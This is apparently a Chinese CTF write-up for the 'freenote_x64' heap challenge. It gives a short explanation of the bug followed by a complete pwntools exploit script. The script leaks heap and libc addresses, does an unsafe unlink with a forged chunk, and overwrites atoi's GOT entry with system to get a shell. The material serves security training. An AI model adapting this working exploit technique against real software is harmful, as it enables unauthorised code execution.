远程还没打。
函数主要逻辑就是先申请一个很大的chunk然后这个chunk存放着你后面申请chunk的一些信息。很多判断也是通过这个chunk来实现,相当于一个我们可见的控制堆块,这对后面构造提供了方向
主要是这里
realloc函数会将后面的地址也让你读入,这里对后面unlink有着很大的作用
漏洞是在
unsorted bin你直接进行double free是有问题的刚开始我尝试了很久最后看了别人的博客才发现他们是通过topchunk来搞的。
from pwn import*
from LibcSearcher import*
#context.log_level = 'debug'
#context.arch = 'amd64'
# io =process('./freenote_x64')
io = remote("node4.buuoj.cn",28045)
elf = ELF('./freenote_x64')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc-2.23.so')
def debug():
gdb.attach(io)
pause()
def creat(length,value):
io.sendlineafter("Your choice: ",'2')
io.sendlineafter("Length of new note: ",str(length))
io.sendafter("Enter your note: ",value)
def edit(id,length,value):
io.sendlineafter("Your choice: ",'3')
io.sendlineafter("Note number: ",str(id))
io.sendlineafter("Length of note: ",str(length))
io.sendafter('Enter your note: ',value)
def show():
io.sendlineafter("Your choice: ",'1')
def free(id):
io.sendlineafter("Your choice: ",'4')
io.sendlineafter("Note number: ",str(id))
creat(0x50,b'a'*0x50)
creat(0x30,b'b'*0x30)
creat(0x50,b'c'*0x50)
creat(0x30,b'd'*0x50)
io.send("\n")
free(0)
free(2)
creat(0x8,b'a'*8)
creat(0x8,b'c'*8)
#show(0)
show()
io.recvuntil("0. aaaaaaaa")
chunk_addr = u64(io.recvuntil("\n")[:-1].ljust(8,"\x00")) -6464+0x30
log.success("chunk_addr--------------->"+hex(chunk_addr))
io.recvuntil("2. cccccccc")
libcbase = u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-3951480
log.success("libcbase----------------------->"+hex(libcbase))
free(1)
free(2)
free(3)
payload = p64(0)+p64(0x81)+p64(chunk_addr-0x18)+p64(chunk_addr-0x10)
payload += b'a'*0x60 + p64(0x80)+p64(0x90)
payload +=b'a'*0x80 + p64(0x90)+p64(0x121)
edit(0,len(payload),payload)
free(1)
#debug()
atoi_got =elf.got["atoi"]
system_addr = libcbase+libc.sym["system"]
payload = p64(0)+p64(1)+p64(8)+p64(atoi_got)
payload +=b'a'*0x100
edit(0,len(payload),payload)
edit(0,len(p64(system_addr)),p64(system_addr))
io.sendline("cat flag")
io.interactive()